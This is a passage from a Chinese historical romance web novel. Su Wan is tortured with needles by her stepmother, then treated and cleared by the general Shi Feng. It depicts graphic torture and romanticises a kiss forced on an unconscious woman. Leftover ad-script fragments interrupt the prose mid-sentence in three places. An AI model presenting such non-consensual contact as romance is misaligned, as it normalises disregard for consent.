苏夫人一声令下,二婆子上前动手,不顾苏绾挣扎,一个捂口鼻,一个摁手脚。片刻剥精光,露出白皙胴体,黑暗映衬,显得格外耀眼。 苏绾早已虚脱,仅靠一口精气神强撑,哪里顶得住身强体壮的婆子。星眸惊恐张望,口不能言,身不能动,被死死压制。 苏夫人拈起箸中银丝豆芽,细长指甲轻轻一挑,剔去外层芽皮,赫然露出内里一截银针,一寸来长,纤细精巧如发丝。 “这道‘酿豆莛‘,乃为娘特意为你制备,塞馅颇费一番功夫,足足花了两个时辰。莫要辜负为娘一片心意,一根一根全部吃进肚子,才称得上孝顺。” 苏夫人嘴角上扬,兴奋难耐,话语带着颤动,好似上架公鸡,拍打羽翼欲展翅高飞。 苏绾惊恐万状,眼睛睁大,嘴里发出“呜呜”声,伴着窗户漏进的风,像是细细的叹息。 银针细长末端在光滑肌肤游走,微微刺痛。那点痛如水纹一圈一圈扩散,蔓延至全身每处角落。 脖颈,后脊,腰穴,腹部,胸膛,一共七针,精准入穴,深深埋进体内,表面不留任何痕迹。 针入肌肤那一刻,苏绾并无太多痛觉,甚至有点点痒。螓首无力歪在一旁,望着土墙小窗发呆。 忽然想笑,好不容易重活一世,还没崩落几点水花,又一次跌落无底深渊。 说不上有多愤怒,更多的是懊悔。 命运之神,何时青睐她。 “小杂种,这七针,是你应得的报应。跟我叫阵,凭你也配!你等着肠穿肚烂而死,看你的温大官人还要不要你。”苏夫人低声咒骂道。 苏绾栽歪一旁,双目紧阖,眉头深锁,晕厥不省人事。像一朵枯萎的白莲,花瓣团缩凋敝。 “二小姐不会没了吧?”一婆子惊呼道。 “噫,哪那么容易?皇上的脑袋被薛御医扎成刺猬,还不是活蹦乱跳。”另一婆子明显见过世面。 苏夫人啐了一口,“不慌。祸害遗千年,几根绣花针,一时要不了她狗命,只会常年在体内穿行,最终深入肺腑,戳进心肝,叫她痛苦不堪而亡。” 苏夫人骂骂咧咧半日,仍嫌不解恨,端起酒壶掀盖浇了苏绾一头,边倒边骂:“还敢装死?给我醒来,你的命且长,我要亲眼看着你,被我折磨凌辱,教你后悔活在这世上。” 丝丝缕缕的凉酒唤醒苏绾,绵薄意识渐渐有了回音,平静水面荡开层层叠叠涟漪。 苏绾睁开眼睛,“恶魔”半跪膝间,一手掐腰,一手举酒壶,正对她露出恐怖的笑容。 噩梦仍在继续。 那副狰狞模样,苏绾见过不止一次。娘亲被命令投湖,牢笼荆棘刺得浑身是血;她被苏沅芷诬陷盗窃财物,街头拉扯不清卖给行院。“恶魔”顶着同样可怖的面孔,咧嘴迤迤然地笑着。 不行,绝不能跌倒两次。否则这漫漫万古长夜,难有黎明破晓之时。 苏绾极力瞬目,示意对方她有话要说。 正巧苏夫人也骂累了,吩咐婆子撤掉口中绢帕,“小婊子,胆敢耍花样,再多扎两针。” 苏绾终于得到喘息机会,大口大口呼吸,清冷空气钻入肺腑,冲淡针刺砭骨的痛楚。 苏夫人坐回座椅,全身卸力般软塌,哼着鼻子道:“别妄想告状揭发,你没有证据,既不能证明我陷害你,亦无法自证被针扎。今日这份委屈,留着跟阎王爷诉苦罢。” “女儿不敢。” 苏绾坐起身,梨花带雨,“女儿知错了,再不敢忤逆母亲。” 小杂种总算投降认输,向她跪地求饶,苏夫人内心狂喜,面上冰山不动,低垂着眼,“早干嘛去了?现在知道错了。针尖扎进肉里才晓得疼,忒迟了,再没有硬挤出来的道理。” 苏绾屈身跪伏,两肘支撑, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泪珠大颗大颗滴落,“女儿不求洗清罪孽,也不敢奢望母亲宽恕。这是女儿应受的惩罚,女儿心甘情愿。” “只求母亲再给一次机会,从此洗心革面,重新做人。” 苏夫人白胖的手掌,轻轻拍打椅臂。辛苦筹谋多时,再没有比这一刻更加舒爽的时候。 她琢磨着,再怼上几句难听话,把八百年前失守的耻辱一并抛还。可她眼珠滴溜溜转,搜肠刮肚无言以对——詈言穷尽,她竟找不出什么新意。 见苏夫人久久不回复,苏绾急着叩首,“女儿愿亲笔修书一封,递与温侍郎,从此得作良人身。以求母亲宽心,再无忌惮。” “你说什么?” 苏夫人心头一震,扶着椅臂坐正身子,“你少忽悠我,父母之命,媒妁之言,岂容儿戏?” 苏绾辩解道:“女儿惹出这等麻烦,已是无脸再见温侍郎,哪里还敢奢望婚嫁?想必温家亦起了退婚的心思。眼前这等态势,不如我主动提出悔婚,省得母亲被他拿住把柄,折损苏家颜面。” 苏夫人抬眼睥着她,“你会有这般好心?巴不得早日远离这家门罢。” 苏绾跪得腿软,强撑着坐起身,面色苍白,“女儿如今等于半个废人,即便温侍郎不在意我留有案底,日后强嫁过去,女儿也是有心无力,撑不起正头夫人的名头。不堪花花草草烦扰,三年五载归西。” “青灯古佛陪伴一生,也好过薄命朱门。吃斋念佛,无欲无求,兴许还有长命的念想。” 苏夫人转了转眼珠,她虽不信任庶女,但此行未尝不可。按照苏绾所说,让她亲自修书悔婚,全凭她自愿,温家即便不同意,也跟苏夫人没得干系。 况且,苏夫人心里还另有打算,她的沅儿,其实更适合做温侍郎的正妻。虽然面相有些残,以嫡女换庶女,再没有比这更划算的买卖,温家怎会拒绝送上门的好意? 思来想去,苏夫人眼一横,“就依你所言,即刻修书悔婚,不得耽搁。” 苏绾湿巾擦拭干净身体,整理鬓妆,换上衣裙,婆子撤去红绫,一切恢复如初。苏绾向狱卒要来笔墨纸砚,坐在案边,一笔一划写《悔婚书》。 “苏女绾,闹市行骗,犯欺诈罪。绾自知罪孽深重,无颜嫁与温家作媳,自愿悔除婚约,婚期取缔,所有彩礼悉数退还。” 顷刻书就一式两份,末尾签字画押,当众诵读一遍,折叠以蜡封存。 狱卒听得如此,悄悄退出监牢,向书房方向奔去。 苏绾双手递书给苏夫人,“母亲放心,今日所发生之事,女儿绝不会走漏半点风声。愿以一颗赤诚丹心,换取后半生苟且。” 苏夫人喜滋滋将书信送入袖内,这趟赢得畅快彻底。可作为百年后谈资,与人津津乐道,巾帼不让须眉之大举。 “你给我老实点,我会一直盯着你。” 苏夫人带领俩婆子,提着紫檀食盒,一路春风得意返还归府。 目送“恶魔”启门离去,苏绾倚靠铁栅栏,望着门外碧空素云惆怅,春风落尽花。 这破锣身子,不知能否撑到明天。 忽然眼前一暗,黑墙般身影云底闪出,结结实实遮挡光阴。 耳畔响起再熟悉不过的讥讽,“啧啧,三千两换一纸悔婚,凭你这猪脑子,还想算计别人。” 苏绾强挤笑容,“不然呢?挡不住黑心债主狮子大开口,奴家只能做取舍。” 男人嘴角一斜,欲再辩驳几番,话未出口,却见那朵柔云慢慢堕落,化作一湖春水,在他心里荡开层层涟漪。 18. 老道 金绡轻曼,墨香自闻,缥缃琴上阁。本是舞文弄墨,堪比沙场烽火,怎得席上美人卧。 时枫负着手,浓眉紧蹙,听隋太医絮絮叨叨,“夫人脉象凶险,涣散不收,浮而无根,至数不清。主元气涣散。为阳虚不敛,气血耗散,脏腑精气衰竭……” “说重点。”男人渐渐失去耐心。 隋太医掏出手帕,擦拭额首细汗,“表散脉,内涩脉,下官一时难以定论……” “你不是太医院的吏目?连诊脉都办不到,不如请早辞官归乡。”男人冷冷道。 也不怪隋太医诊断不出,苏绾体内植入七根银针,分散游走筋络之间,互相扰乱脉象。不知情之人,纵然扁鹊再世,亦难论断。 按律制,隋太医供职太医院,专门伺候皇城内的皇亲国戚。眼前却被半要挟半邀请至大理寺,给一平民女子看诊,行径十分荒唐,离经叛道。 而最不能忍受的,隋太医从业一十八载,竟看不出女子病理端倪。 老脸不能丢,隋太医心一横,胡诌道:“夫人脉象虚浮,实则并无大碍,不过是累了些,休息两日即可。下官方才不敢论断,只因吏目职责在身,不好妄断虚言,须谨慎处之。” 时枫全然不信他的胡诌八扯,他四处拉关系找到太医院,强行请出吏目为苏绾看诊,谁知请来一位“全不知先生”。 即便对医术一窍不通的人,也能看出来不对劲。她浑身冷汗涔涔,身体微微颤抖,额头发着高烧,时不时地冒胡话,任凭人捶打呼唤,却怎么都叫不醒。 时枫懒得再与隋太医掰扯,“两日之后,如果她还不醒,本将军亲自上太医院,绑了你来给我当面解释。滚!” 他伸手一挥,遣散一干人等,独自守在塌前。 这疯婆娘,自作自受。 谁让她总跟他过不去,挖空心思算计他。他不过小施惩戒,叫她尝尝招惹他的滋味。可不知怎的,他并没有打完胜仗的畅快感,反而感到无边烦闷。这份烦扰,像爬山虎的藤蔓,弯弯绕绕,沟沟回回,坠得他的心,七上八下的乱。 她有什么错? 经过前番几次纠缠,他已经彻底摸清她的底细。娼妓一说毫无来由,全由一场误会。她本是贱妾庶女出身,少不了遭遇关于这方面的猜忌或谩骂。 春月坊一案,她扮作花娘骗了他三千两,只为拿回娘亲的遗物,一文钱都没落入自己钱袋。西街口一案,她又乔装算命先生,虽有敛财嫌疑,然而百姓很崇拜她,将她视为在世神仙。 所作所为,不过是想挣点嫁妆而已。手段虽肮脏了些,但也无伤大雅。可她却以一纸悔婚书,断送后半生的指望。没了温侍郎的庇佑,对于贱妾庶女出身的她来说,值得吗? 男人负在身后的手掌,青筋暴起,十指用力弯曲,似在发泄胸中愤懑。 “爷,属下找来救星了!” 忽然门外风风火火窜入侍卫晴雷,他一身狼狈相,曳撒袍子皱皱巴巴,袍角坠着泥点子。 为争取时间,时枫和晴雷分两路行动:时枫上太医院绑来了隋太医,晴雷则去京城寻访当地名医。二人打着同样的借口幌子:世子爷的小妾突发怪疾,昏睡不醒,寻医急救。 少年两步跨上前,兴奋难捺,“属下此去京城地下鬼城打探,不期而遇救世老神仙,传说医仙扁鹊下凡。然而属下求了他半天,老神仙不为所动。就在属下绝望临走之际,老神仙忽然又同意看诊了,属下赶紧请他来了,此刻就在门外等候。” 时枫犹豫一瞬,也未再细想,连忙请人进门。不多时,进来一位乞丐老道,鬓发须白凌乱,道袍衣衫褴褛,浑身臭不可闻。 时枫蹙了蹙眉,正要质询老道来历,谁知那老道伸手一挡,“施主莫要多言,先让贫道切脉。” 时枫咬了咬牙,侧身让路给老道。 待老道坐定,二指切苏绾的脉门,不消几回合,神色愈加凝重。 “怎样?”时枫迫不及待问道。 老道摇摇头,叹口气,半晌不语。 又来了位庸医,时枫刚想破口大骂。 “此女命运不济,恐遭人陷害,须逼出体内七根银针。其六根位于体表浅层,尚且容易挖出,余一根刺中肺穴,药物不可驱之,唯有刁钻法子。准备七两曼陀罗花,一瓮煮沸烈酒,再找一把锋利的匕首。” 寥寥数语,在男人心里炸开锅。 七根……银针? 狗日的,他被苏家摆了一道。 然而老道不给他警醒忏悔的机会,干枯手掌攥住时枫的手腕,“既是你的小妾,想必你对她情深意重,我这刁钻法子,须你亲自动手实施,你可愿意?” 男人凤眸沉了沉。 「 浮生若梦,梦回前世。秋杯浸菊花,黄叶殿前霜,乍暖还寒,最难将息。 温宅大宴宾客,庆贺温如初新近入阁,普天同庆,京城权贵悉数在席,场面热闹非凡。 唯有时枫,因性子孤僻,素来厌烦交际,一个人躲进庭院凉亭,看庭前落英缤纷,默默举杯自饮。 忽然一抹倩影,罗裙翩跹,飘然映入眼帘。 时枫瞥了一眼,“温夫人,恭喜。” “啊!”苏绾吓了一跳。 回眸望去,认出时枫来,她抖了抖单薄身体,强作镇定,端袖福身道:“见过时将军。” 态度矜持而陌生,全然不似认出救命恩人的模样。 自那日落水之后,时枫一直未得再次见她。他派人四处打听,然而反馈的消息,却是晴天霹雳。 他不相信,那些荒唐至极的举动,出于她自愿。 时枫掀眸睇向苏绾,似一瓣破败残花,萧萧肃肃,夹杂廊柱缝隙,苟延残喘。心中顿时升起无限怜爱,不断弥漫扩大,紧紧包裹住那份想要庇护她的心情。 苏绾起身想走,却被时枫叫住:“他,有没有为难你?” 苏绾身子颤了颤,面容悲戚惨淡,停了一息,咬牙道:“夫君对我恩爱有加,我不知将军在说什么。”转身急急走了,唯恐被人看见。 目送那抹倩影消失于长廊边缘,剩下时枫独自迎风嗟叹。 这朵鲜亮的花儿,如果交到他手里,必不至落得这般凄凉。 待那抹身影拐过廊角,时枫听到一声训斥,与低低啜泣。 “绾绾,你竟敢背着我,偷跑出来与男人私会!” 」 心中苦楚汇聚,又骤然爆发,打破白日长梦。 “爷,你醒了。属下去叫老神仙来。”晴雷守候时枫多时,见他已苏醒,一颗悬着的心,总算放下来。 不知是做梦的缘故,还是什么别的原因,令时枫感到心脏钻心地疼。他捂住胸膛,咳嗽几声,强行坐起身,盘膝打坐调息。 梦里因缘际会,令人唏嘘叹息。 她错在认识他罢。 “施主感觉如何?”老道弓着腰,背着手跨进门。 时枫瞥了老道一眼,“她怎么样?” 老道捋了捋参差不齐的花白胡须,摇头晃脑道:“经由贫道之手,拯救的灵魂千千万,却没有一条失败见阎王。然而此番胜负关键,皆在于刁钻法子,若那凶险一针不取,纵是医仙扁鹊再试,亦是枉然。施主对小妾一往情深,尽在这一针之下。” 见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 苏绾脱离危险,时枫终是松口气,不枉费他豁出性命赔偿她。 吩咐晴雷为他穿上袍子,时枫站起身,对着老道鞠了一躬,“老神仙救命之恩,晚生感恩不尽。” “冷面阎罗”竟然给老乞丐道士鞠躬,唬得晴雷虎躯一震。 然那老道显然见过世面,身子骨挺笔直,捻须笑道:“莫说什么感恩,贫道还人情罢了。” 原来两年前,老道在鬼市同人打赌,输了精光。恰巧那人干得是山匪勾当,见老道身无半文,付不起赌资,抓去郊外山寨做奴隶抵命。 老道倒也坦然认栽。然天无绝人之路,半路杀出位铁血将军,一把金枪在手,叱咤风云,捣毁半座山寨,救出老道,顺便给了他一点盘缠防身。 老道感激涕零,问及将军姓名,方知是绥靖王世子时樾。自此,二人各走天涯路,老道将他的恩情铭记在心。 逢晴雷鬼市打探名医,起先老道并不愿挨官家的边,待晴雷报上自家主子来历,老道方知委托人是时樾将军的胞弟,这才同意上门问诊。 “时樾为何在山寨?”时枫不解。 老道掸了掸破旧补丁道袍,“贫道不得而知,许是有何恩怨。那山匪头目依旧坐镇山寨,你自己去问就是。” 他的哥哥时樾身为戍边将军,一身凛然正气,绝不会同烧杀掳掠的山匪打交道,必是深入调查敌情,收集线索。看来,他有必要抽空去趟郊外的山寨,打探情况。 老道站起身,“贫道半生心愿已了,施主就此别过罢。” 忽然,手一伸,“喏,三千两出诊费,拿来。” 时枫牛眼瞪老大,“什么三千两?哪来的出诊费?” 旁边晴雷哆哆嗦嗦道:“属下忘了跟爷禀告,当初请老神仙出山,开口叫价白银三千,属下急着回来给爷复命,没想太多一口答应了他......” 时枫闻言怒发冲冠,指着老道斥道:“你不是来报恩的吗?怎还有脸跟我伸手要钱!” 老道食指捻了捻花白胡须,狡黠道:“非也非也。贫道所谓报恩,是答应出诊。至于出诊费,则需另算,这是两笔账。再说,给你用的那项刁钻法子,属于贫道慷慨赠送,若非有我青囊之术,你的小妾必肠穿肚烂而亡。你该铭记贫道这份恩情。” “你这老泥鳅!” 时枫咬了咬后槽牙,拳头攥得死死,然而僵持半日,终是放不开面子,乖乖付钱打发老道了事。 晴雷自知理亏,心虚地建议道:“爷判苏姑娘的案子,不是有三千的罚金,正好拿来顶这笔亏空。” 一语既出,差点烧了时枫的眉毛,将他气个半死,脚踹晴雷的屁股,喝道:“你个狗奴才长没长脑子?我辛辛苦苦花钱救她的命,回头却让她自付医药费,我还算是个男人么?” 晴雷哭丧着脸,捂着屁股嘶哈嘶哈喊疼,“那爷说说怎么办嘛,咱们回京半年不到,账面花钱如流水,回头老爷来信过问,叫属下如何回复?” 最近是有些捉襟见肘,不止账面上的花销,他要探察消息,也需银两打点。须得找个冤大头,填补亏空。 时枫低头思了一瞬,吩咐道:“叫邵云礼洗干净屁股早点开工,本将军没空给他守大理寺家门。” 晴雷见不再挨骂,赶紧回道:“遵命。” 转身欲走,又被时枫叫住,口气忽然放软,“让厨房熬煮一锅白粥,要软烂细腻不弹牙。仔细挑拣,不得有半粒稻壳杂质。” 晴雷瞬目,“爷想吃点清淡的?属下让醉仙楼送点下酒小菜,拌着白粥吃,最解火气。” 时枫牛眼一瞪,“叫你干啥就干啥,少废话。” 19. 销案 晴雷随邵云礼返回大理寺时,已是纱窗日落渐黄昏。二人进入书房一看,不得了,这是怎样的奇观异景。 屋内乱糟糟,地上俩人守着一锅倾覆的稀粥,满脸迷茫,不知所措。床边一人双手奉瓷碗,内盛装熬煮软烂白粥,战战兢兢,如履薄冰。 塌床坐着京卫指挥使,怀里抱着晕厥美人,左手臂搂住脖颈,右手捏着汤匙,额首大汗淋漓,眉头拧成一团糟。 “苏绾,本将军命令你,必须吃下这一勺。否则、否则,债务翻倍!你可听见?” 美人双目紧阖,娥眉微蹙,不知是装的,还是怎样,无论如何都撬不开嘴。 他奶奶的,他在漠南攻打鞑靼可汗的时候,都没这般耗费心力。胸口积聚一团怒火,又无处发泄,只好拿调羹出气,手心用力一握,狠狠捏成碎矶。 “哎呦,光天化日,朗朗乾坤,堂堂三品指挥使,竟敢当众意图谋杀。” 邵云礼夸张的语气传进时枫耳朵,他抬头抱怨道:“偌大一座大理寺衙门,就没点趁手的餐具?没一件能用的。” 邵云礼点头道:“杀人的确不趁手,不如换个物件,保证好用。” 时枫眼睛一亮,“何物?还不快拿出来。” 邵云礼手指着他,“用你的嘴,一口一口喂给她,自然就吃进去。” 屋内众人皆想笑又不敢笑,捂着嘴巴拼命憋气。 邵云礼笑道:“并非我信口开河,禽鸟衔食哺育雏鸟,不也是嘴对嘴?” “滚你丫的,我又不是鸟。” 时枫狠狠瞪他一眼,一声不响扔掉手里的碎勺,却不肯放开箍着苏绾的手臂。 他将苏绾搂在怀里,细心捋顺乌发,又从腰间扯下松花汗巾,轻轻擦拭唇际沾染的米粒。 动作轻柔缓慢,充满浓情蜜意,生怕粗手粗脚弄疼她,看得众人目瞪口呆。这可还是那位令人闻风丧胆的“冷面阎罗”? 邵云礼憋笑都快憋死了,他两手叉腰,笑不拢嘴道:“你叫我过来,就是为了看你喂饭啊?” 出乎意料地,时枫这次并没有回嘴,正色道:“叫你回来,是为此事画上句点。” 邵云礼见他要商量正事,乃屏退左右,留下晴雷服侍。三人从前在西北时,彼此相处亲密无间。 来时的路上,晴雷已将苏绾被苏家暗害扎针的事件,如实禀告给邵云礼,听得大理寺卿眉头紧锁。在他所辖范围内,竟然生出如此恶毒阴狠的案子,令人惊愕之余,又慨叹苏绾命运多舛。 “这位苏二小姐所牵涉的案件,不仅仅是谋财害命这么简单吧?你想如何处理此案?大事化小并非难事,问题是,她当真无辜吗?” 时枫不假思索答道:“谋财自当论不上,害命更加无稽之谈。市井之地,招摇撞骗者多如牛毛,何尝多她一个?王老板的死,跟她没有任何关系。那撞死人的马车车主,早已供认自己饲料没喂足,马儿见了卖苞谷的摊子,不听指挥脱缰发狂急奔,这才撞死王老板一家。” 他停顿一下,继续说道:“我不要她无罪释放,平白留下案底。我要彻底销案,对外一致口风,这件案子,自始至终就没有发生过。” 邵云礼嘴角上扬,故意逗弄他,“人家一开始就这样喊冤,是谁不分皂白,扯着脖子非要缉拿归案,如今又要彻底销案。集市几百双眼睛可都看见,你抱着人家又亲又啃。” 提及那个吻,时枫顿时面皮微热,恼道:“让你销了苏绾的案底,跟我临街亲人有何关系?” “怎么没有关系?我早说过,她是温侍郎的人。你这样强取豪夺,明摆着跟温侍郎争,小心他翻脸无情,而你终究一败涂地。”对方食古不化,令邵云礼这个“过来人”有些捉急。 时枫闻言一顿,理智上,他从未想过要跟别人争她,但情感上,他又不想立刻投降认输。 “我的事不用你管。”憋了半天,吐出一句话。 “你的事我管不着,她的事,本官恰巧能管一点。”邵云礼建议道:“依我看,也不必销罪。从她身上取出的那几根针,就是苏家迫害她的累累罪证,反手告他一个虐待子女罪,将苏家赶尽杀绝。回头你不必再争名夺利,她自然会倾向你这边。” “不,银针的事,我自有安排,暂不打算告发苏家。”他心里盘算着另一桩买卖,很重要。 “你又不告她,也不告苏家,那你所谓的正事,就为给她销案?合着我这大理寺的门槛,随你来去自如。”邵云礼气恼道。 “非也,非也。”时枫自怀里掏出一张凭证,“正事在此。你辖内府衙发生故意伤人事件,我替你召了大夫诊治,今病人已得救。此为诊费凭证,呈与你报销。” 邵云礼嘟嘟囔囔,“我就说你小子急着叫我来,准没好事情,果然,在这等着我呢。”他接过凭证,打眼望去,瞬时瞪圆了眼,“三千?滚你丫的,当我开的是钱庄么?要多少有多少?没门!” 时枫背手仰头,得意道:“人,是在你的地盘出的事,睁大眼睛看看,凭证上面清清楚楚地写着:‘大理寺医治病患一名,费用三千两’,你甭想赖账。” 邵云礼盯着那张纸头左看右看,果然有以上字样,心想:这小子憋着坏,早就算计好敲他竹杠。恨只恨他们兵营兄弟一场,自己还欠着他俩兄弟一条命的人情未还,打碎牙齿咽进肚里,心甘情愿被他敲诈。 “我也不白挣你的钱,最近我想去郊外爬山散心,缺少盘缠打点地头蛇。”时枫忽然沉声道。 他这一语道破天机,邵云礼立刻有所警觉,“无缘无故,你会那土匪头子作甚?” 时枫将老道所言,一五一十讲给邵云礼听,听得邵云礼神色愈加凝重。 他大时樾两岁,常常以兄长自居,但时樾根本不把他放在眼里。两年前,时樾遭逢匈奴埋伏,含恨而死,是他不远千里亲自去漠北验尸。 邵云礼仔细排查现场周遭,凭借丰富断案经验,他笃定时樾遭人陷害。他将这个想法告诉时枫,这才引起时枫的怀疑,发誓要查明真相,替哥哥报仇。 时枫调任京卫指挥使一职,还是邵云礼以大理寺卿职位出面担保,牵线搭桥,打通兵部和锦衣卫,这才如愿以偿。 拿钱查探山匪,才是时枫要谈的正事。 “狗日的,”邵云礼小心收好凭证,无奈叹道:“能拿捏你的人,总算出现了。”他掸去青色外袍浮尘,“就依你所言,销案。”边说边起身,“若温侍郎过问,我来应付便是。” 他招呼晴雷,“走,咱爷俩喝两盅去。” 晴雷望了一眼主子,见他正搭着一条腿坐在塌边,凝望美人发愣,晴雷耸耸肩,跟随邵云礼脚步趸出门去。 * 清月出岭,微光入扉,薄纱满地银。塌上美人躺卧,芳逾散麝,色茂开莲,蛟绡雾縠笼香雪。月光映照,冰雪肌肤晶莹剔透,吹弹可破。 她倒是睡得酣畅。 男人莫名感到口干舌燥,转身寻了一海茶碗牛饮。凉爽清茶浇灭心中升腾的火气,却又燃起另一层焦虑。 自从被他掳进大理寺,已过去将近五日,疯婆娘一直不肯吃饭。虽说中途苏夫人煞有介事提来食盒,但在那场惊心动魄的争斗中,苏绾未必吃得下鸿门宴。白日里他突发奇想,灌点米粥给她,至少能缓解燃眉之急,谁知又死活撬不开嘴。 望着佳人如玉面庞,男人负在身后的双手屈了屈,也许邵云礼说的话有道理。 叫厨房重新热了那碗白粥,瓷碗端在手里,男人迟迟没有下一步动作。 不如先空嘴试探,万一还是不行,至少不会弄脏她的脸。 男人放下瓷碗,侧坐美人身旁,左右比划几下,感觉姿势有点别扭。 倏地站起身,伸展腿脚,扎个马步,气沉丹田。捡起茶碗,将剩余茶水一饮而尽,长舒一口气。 老子才不是软怂。 男人更换姿势,跪伏上方,手肘撑在两边,低头看去,洁白如玉的额首,小巧俊俏的鼻梁,红润晶莹的唇瓣。 “苏绾,我是为你好……” 话从口出,却带着几分心虚,连他自己也想不通,究竟是真心为她,还是夹杂着别的什么情思。 唯有一点确定,他对即将来临的亲密接触,充满期待。 男人低下头,凑近樱红唇瓣,轻轻嘬了一下。像触摸熟睡的鸟,带着微微的颤抖,还有暖暖的温度。舔舔嘴际,淡淡的甜蜜味道。 这种感觉并不陌生,前几日天桥下,他已有所品尝。以至于之后,夜夜躺在塌床,回味那股甜津,余香缭绕,久久不能散去。 他渴望尝试更多。 男人俯下身,唇际相交,热烈深吻,忘记本来目的。 这次与天桥底下那一吻完全不同,佳人完全不动,也不反抗,香唇格外柔软。 他一点都不想停下来。 月光转过朱阁,洒落一双妙人,光辉耀如明星。那道犀利白光,渐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 渐扫过面颊,闪了苏绾的眼。 睁开眼,四目相对,双唇紧贴。 “啊——”一声尖叫划过夜空,惊起一树昏鸦。 “你、你、你……”美人惊坐起,指着男人,半天说不出话。 时枫被她这么一叫,浑身上下鸡皮疙瘩都拱起来,他慌忙去堵苏绾的嘴,“嘘,你不要叫,听我解释。” 苏绾惊恐万状,大大的眼睛注视着时枫,嘴巴被堵住,“呜呜”地低吟。 高大身影深深藏在夜幕里,像月下祭坛供奉的神像,月影遮掩羞红恼怒的脸皮。 他简直羞死臊死,恨不得化成朽木,烂死在这无人宁静的夜晚。 沉默半晌,时枫却一句话都解释不来。难道要他承认,自己是想喂她喝粥?如此愚蠢白目的理由,他无论如何也说不出口。 时间停滞不前,长夜像蔓延嵌沟的网,牢牢裹住二人,融为一体。 “不过亲一口,叫什么叫?”隔了半晌,男人终于放开手,冷冷道,“大不了,三千两不用还了,如何?” 三千抵一吻,搁谁都挡不住诱惑。这可是时枫冥思苦想,挖空脑子才想出来的解决办法。 “真的?我不信。”苏绾迷迷糊糊听说债务免除,星眸闪烁惊喜光芒。 男人嘴角微微上扬,邀功似的得意,“不止如此,案底已销,悔婚书作废。” “你说什么?!”苏绾的笑容几乎僵硬在脸上,悔婚书作废,那她狱中垂死挣扎为哪般? 敏锐的鹰眼捕捉到她的微妙表情变化,然而却抓错重点,“怎么,你喜欢坐大牢?没机会了,监狱里不养闲人,今晚你就得出狱。” 低首冷笑一声,“哼,可惜,本将军得到线报,你的那份悔婚书,早在作废前就递至温如初的书桌上,他要不要你,还难说。” 果然还是递出去了。 悔婚书不会起任何决定性作用,无论销案与否。只要骗过苏夫人,亲手交给温如初,她的计划就算成功。 苏绾按捺住心中喜悦,淡淡回了一个字:“哦。” 她的这份荣辱不惊的怡然,四两拨千斤的沉稳,刺了时枫的眼。他预备了一整夜的阴谋诡计,想要看她感恩戴德的模样,却只得到预期截然相反的结果。 岂有此理。 凤眸瞬间晦暗,男人停了一息,语气冰冷,“那些针,藏在饭菜里?” “嗯?”苏绾瞬间石化。 终于得到预料中的反应,男人满意地翘了翘唇尾,“你不是神机妙算,算尽天下机关的神算子?怎就反手被人扎成刺猬?” 煞有介事地摇摇头,“啧啧,败得真是难堪啊。” 苏绾下意识地摸摸胸口,果然隐隐约约有些刺痛,方才光顾着打听悔婚书的下落,根本没回想起苏夫人扎针这码子事。 但她此刻也拿不准对方的意图:究竟是想帮她,还是想害她? 只好故作镇定,“将军既知我被人陷害,何不替我作证,助我揭发检举苏家的虐行,也算替天行道。” 男人闻之一笑,“你想求我庇护你,呵。” 俯下身,凤眸一沉,“我偏不。” 复又挺立,觑着佳人,意味深长道:“天下哪有免费的午餐。” 她就知道,他没安好心。 苏绾被对方的喜怒无常击昏头脑,懒得再去求他,没好气似的道:“将军既然不肯出手,奴家不必多说,这就送我回去吧。” 她卸下心防,男人反倒急躁起来,“送你回去?你算个什么东西,要本将军亲自护送?不可能。你就待在这里,一步也不许离开。” 男人眼眸有意无意瞥了一眼案上的白粥。 走也不行,不走也不行。苏绾被他搅得心烦,假装劳累躺倒,闭上眼睛假寐。 忽然灵台一闪,心生一计,睁开眼睛质问:“虽然但是,你干嘛亲我?” “我……” 男人略微惊讶,兜兜转转又绕回初始话题。可他仍旧找不到合适的理由,只好继续杵在漆黑的夜,站成青苔铺满的石像。 苏绾瞧见那碗白粥,霎时恍然大悟——总不见得是为侵犯她。 眼见他一副被拿捏的样子,苏绾眼珠转了转,狡黠道:“说好三千抵消,可不许耍赖。” 果然,男人嘴角上扬,“那要先喝了这碗粥才算。” 明月如洗,抛洒满地碎银。清风穿堂,吹尽人间一两风,填满十万八千梦。 20. 送归 这日清晨大早,苏夫人打扮整齐,穿命妇服,坐轿子上户部衙署面见温侍郎。 彼时温如初正坐在堂前,撰写《论一条鞭法全国普及要点》,忽见苏夫人登门拜访,表情略微诧异。 待闻得苏夫人来意,瞧见苏绾亲笔所写《悔婚书》,温如初眼眸瞬间冷了一层,“岳母所言差矣,莫说绾绾不过顽皮了些,就算她真的犯下逆天罪行,小婿也还禁受得住,哪里就到悔婚地步?别不是受人威胁,不得已而为之罢。” 苏夫人素知他不好对付,连忙赔笑道:“哪敢,全凭她自愿,没人强迫她。我那女儿心气比天高,是她自己心里过不去那道坎儿。闹出天大的笑话,她也没脸再与你结缘,遂打起退堂鼓。” 温如初将信纸揉搓一团,丢入废纸篓,冷冷道:“小婿当日与苏家商量妥当,以我温侍郎的面子,买殷布政使的面子,这门婚事亦非由一人决定。她说悔婚就悔婚,敢问苏家长辈是何态度?” 苏夫人一早算到他不会轻易接受,丹凤眼珠转了转,讪笑道:“苏温两家联姻,早已报上朝廷,满京城皆知。不可能说销就销,空落人笑柄。眼下二女儿不愿意嫁不要紧,我还有位大女儿待字闺中,摽梅之年,才色俱佳。你二人门当户对,比翼齐飞,保准传为美谈。” 话音刚落,只听“啪”的一声,砚台骤然落地,碎裂两半,震碎满地烟尘,吓得苏夫人跺脚直呼“阿弥陀佛”。 温如初拂了拂袍子浮灰,冷眼道:“悔除婚约,替换新娘?亏你这老货想得出来。” 素来温文尔雅的温侍郎,竟然对人恶言相向,简直滑天下之大稽!苏夫人惊愕道:“你可知道自己说了什么?对长辈大不敬,你要遭天谴的。” “按我熹律,若许嫁女,已报婚书及有私约,而辄悔者,笞杖五十。官员知法犯法,惩罚加三倍。” 温如初摆弄一杆狼毫,淡淡道:“倘若你捱受得起一百五十杖,大可以放手一搏试试。” 忽然眼眸一沉,杀机四射,“而我,将穷尽此生,与你为敌,直至斩尽杀绝。” 